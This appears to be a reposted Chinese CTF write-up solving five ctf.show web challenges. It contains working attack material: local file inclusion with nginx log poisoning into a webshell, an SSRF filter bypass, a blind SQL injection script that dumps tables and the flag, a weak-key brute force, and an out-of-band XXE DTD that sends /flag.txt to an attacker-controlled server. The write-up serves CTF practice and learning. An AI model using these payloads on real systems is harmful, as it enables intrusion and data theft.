WEB_AK赛-ctf.show平台

2023-11-02 16:59
文章标签 平台 web ctf show ak

本文主要是介绍WEB_AK赛-ctf.show平台,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

本篇内容
签到_观己
web1_观字
web2_观星
web3_观图
web4_观心

上一篇 | 目录 | 下一篇

签到_观己

访问得到源码:

<?phpif(isset($_GET['file'])){$file = $_GET['file'];if(preg_match('/php/i', $file)){die('error');}else{include($file);}}else{highlight_file(__FILE__);
}?>

GET传入一个file参数,只要不含有php就会被包含。
尝试?file=/etc/passwd成功:
在这里插入图片描述
方法一
猜测了一下flag可能是根目录下的文件,尝试文件名为/flag、/flag.txt,发现/flag.txt成功:
在这里插入图片描述
方法二
Wappalyzer插件发现是nginx服务器,尝试包含一下日志文件/var/log/nginx/access.log成功:
在这里插入图片描述
那就写一句话进去,由于直接写在file参数里会被编码掉不能使用,所以写在User-Agent里。
在这里插入图片描述
蚁剑连接成功:
在这里插入图片描述
在根目录下找到flag.txt
在这里插入图片描述





web1_观字

访问给源码:

<?php#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){$url = $_GET['url'];$protocol = substr($url, 0,7);if($protocol!='http://'){die('仅限http协议访问');}if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){die('仅限域名地址访问');}system('curl '.$url);
}

GET传入一个url参数,url的前7位必须是http://,之后的内容不能出现preg_match匹配的内容。
flag在http://192.168.7.68/flag
点号(.)被过滤,尝试将IP转换成10进制或16进制数:
在这里插入图片描述
可惜把0也给过滤了,不能用。
而url可以利用【unicode字符集】Enclosed alphanumerics绕过。例如①②⑦。⓪。⓪。①相当于127.0.0.1
所以点号(.)可以用句号(。)代替。
在这里插入图片描述





web2_观星
在这里插入图片描述
这文章列表跟我之前做过的题一样,肯定是sql注入攻击了,只是注入方式不同了而已。
?id=1?id=2?id=3分别是不同的文章,这是可利用的一点。
尝试后发现提示enheng?就表明被过滤了,而且过滤了很多东西,FUZZ一下:
在这里插入图片描述
上图框中的都是被过滤的,单引号(')、等号(=)、逗号(,)等被过滤了就很难受。
可以使用case()when()then()else()end来代替。

?id=case(1)when(1)then(1)else(2)end
?id=case(1)when(2)then(1)else(2)end

直接上脚本:

import requests
import urllib.parseurl='http://e1b775ed-d00a-4333-9677-6f0b59bba38d.chall.ctf.show/index.php'
res = ""for i in range(1,50):print(i,end='\t')for j in range(32,127):#1、爆库#payload = '?id=case(ord(substr((database())from({})for(1))))when({})then(1)else(2)end'.format(str(i),str(j))#2、爆表名。等号(=)被过滤,用regexp来代替#payload = '?id=case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({})for(1))))when({})then(1)else(2)end'.format(str(i),str(j))#3、爆列名。单引号(')被过滤,用16进制编码#payload = '?id=case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({})for(1))))when({})then(1)else(2)end'.format(str(i),str(j))#4、爆flagpayload = '?id=case(ord(substr((select(flag)from(flag))from({})for(1))))when({})then(1)else(2)end'.format(str(i),str(j))t = requests.get(url+payload)if 'If' in t.text:res += chr(j)print(res)
#database() = web1
#table_name = flag,page,user
#column_name = FLAG_COLUMN,flag

在这里插入图片描述





web3_观图

访问后直接查看源代码:
在这里插入图片描述

访问后还是图片,删掉?image=Z6Ilu83MIDw=得到php源码:

<?php
//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){$image=$_GET['image'];$str = openssl_decrypt($image, 'bf-ecb', $key);if(file_exists($str)){header('content-type:image/gif');echo file_get_contents($str);}
}else{highlight_file(__FILE__);
}
?>

而百度后发现rand()能产生的最大值是32768,数不大,那么就可以解密Z6Ilu83MIDw=,php脚本如下:

<?php
for ($i=0; $i <= 32768; $i++) { $key = substr(md5('ctfshow'.$i),3,8);$image="Z6Ilu83MIDw=";$str = openssl_decrypt($image, 'bf-ecb', $key);if($str!=''){echo $str;echo "<br>";}
}
?>

在这里插入图片描述
发现只有一个正常,有理由相信Z6Ilu83MIDw=解密后就是1.jpg,那么也就能得到rand值了:

<?php
for ($i=0; $i <= 32768; $i++) { $key = substr(md5('ctfshow'.$i),3,8);$image="Z6Ilu83MIDw=";$str = openssl_decrypt($image, 'bf-ecb', $key);if($str=='1.jpg')echo $i;
}
?>

得到27347,即rand值为27347,图片是1.jpg
那就可以查看config.php了:

<?php$key = substr(md5('ctfshow27347'),3,8);$image="config.php";$str = openssl_encrypt($image, 'bf-ecb', $key);echo $str;
?>

得到N6bf8Bd8jm0SpmTZGl0isw==,访问后查看源代码得到flag。
在这里插入图片描述





web4_观心

查看网页源代码:
在这里插入图片描述
查看js/common.js
在这里插入图片描述

也可以点击占卜,在Network处可看到一个api.php
在这里插入图片描述
访问一下:
在这里插入图片描述

\u6765\u81ea\u5efa\u5fb7\u5e02\u7684\u9053\u53cb,\u4f60\u90a3\u91cc\u73b0\u5728\u662f\u9634\u8f6c\u591a\u4e91 \u98ce\u5411\u4e3a\u4e1c\u98ce4-5\u7ea7\u8f6c\u5fae\u98ce
解密内容为:
来自建德市的道友,你那里现在是阴转多云 风向为东风4-5级转微风

肯定是修改xml内容,构造XXE漏洞,可惜不太会搞,问了羽师傅才会做。

在公网VPS里写一个air.xml,内容为:

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://IP地址/air_xxe.dtd">

再写一个air_xxe.dtd,内容为:

<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://IP地址/?%file;'>"> %all;

然后访问即可得到flag。

http://3898d261-7b15-4087-b35e-652fbba532a7.chall.ctf.show/api.php
POST数据:api=http://IP地址/city.xml&city=air

在这里插入图片描述





========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/107706627
========================================================

这篇关于WEB_AK赛-ctf.show平台的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/332012

相关文章

python web 开发之Flask中间件与请求处理钩子的最佳实践

《pythonweb开发之Flask中间件与请求处理钩子的最佳实践》Flask作为轻量级Web框架,提供了灵活的请求处理机制,中间件和请求钩子允许开发者在请求处理的不同阶段插入自定义逻辑,实现诸如... 目录Flask中间件与请求处理钩子完全指南1. 引言2. 请求处理生命周期概述3. 请求钩子详解3.1

SpringBoot项目Web拦截器使用的多种方式

《SpringBoot项目Web拦截器使用的多种方式》在SpringBoot应用中,Web拦截器(Interceptor)是一种用于在请求处理的不同阶段执行自定义逻辑的机制,下面给大家介绍Sprin... 目录一、实现 HandlerInterceptor 接口1、创建HandlerInterceptor实

Web技术与Nginx网站环境部署教程

《Web技术与Nginx网站环境部署教程》:本文主要介绍Web技术与Nginx网站环境部署教程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、Web基础1.域名系统DNS2.Hosts文件3.DNS4.域名注册二.网页与html1.网页概述2.HTML概述3.

Python使用Reflex构建现代Web应用的完全指南

《Python使用Reflex构建现代Web应用的完全指南》这篇文章为大家深入介绍了Reflex框架的设计理念,技术特性,项目结构,核心API,实际开发流程以及与其他框架的对比和部署建议,感兴趣的小伙... 目录什么是 ReFlex?为什么选择 Reflex?安装与环境配置构建你的第一个应用核心概念解析组件

Nginx使用Keepalived部署web集群(高可用高性能负载均衡)实战案例

《Nginx使用Keepalived部署web集群(高可用高性能负载均衡)实战案例》本文介绍Nginx+Keepalived实现Web集群高可用负载均衡的部署与测试,涵盖架构设计、环境配置、健康检查、... 目录前言一、架构设计二、环境准备三、案例部署配置 前端 Keepalived配置 前端 Nginx

在.NET平台使用C#为PDF添加各种类型的表单域的方法

《在.NET平台使用C#为PDF添加各种类型的表单域的方法》在日常办公系统开发中,涉及PDF处理相关的开发时,生成可填写的PDF表单是一种常见需求,与静态PDF不同,带有**表单域的文档支持用户直接在... 目录引言使用 PdfTextBoxField 添加文本输入域使用 PdfComboBoxField

深入理解Apache Kafka(分布式流处理平台)

《深入理解ApacheKafka(分布式流处理平台)》ApacheKafka作为现代分布式系统中的核心中间件,为构建高吞吐量、低延迟的数据管道提供了强大支持,本文将深入探讨Kafka的核心概念、架构... 目录引言一、Apache Kafka概述1.1 什么是Kafka?1.2 Kafka的核心概念二、Ka

在Android平台上实现消息推送功能

《在Android平台上实现消息推送功能》随着移动互联网应用的飞速发展,消息推送已成为移动应用中不可或缺的功能,在Android平台上,实现消息推送涉及到服务端的消息发送、客户端的消息接收、通知渠道(... 目录一、项目概述二、相关知识介绍2.1 消息推送的基本原理2.2 Firebase Cloud Me

JSON Web Token在登陆中的使用过程

《JSONWebToken在登陆中的使用过程》:本文主要介绍JSONWebToken在登陆中的使用过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录JWT 介绍微服务架构中的 JWT 使用结合微服务网关的 JWT 验证1. 用户登录,生成 JWT2. 自定义过滤

一文教你如何将maven项目转成web项目

《一文教你如何将maven项目转成web项目》在软件开发过程中,有时我们需要将一个普通的Maven项目转换为Web项目,以便能够部署到Web容器中运行,本文将详细介绍如何通过简单的步骤完成这一转换过程... 目录准备工作步骤一:修改​​pom.XML​​1.1 添加​​packaging​​标签1.2 添加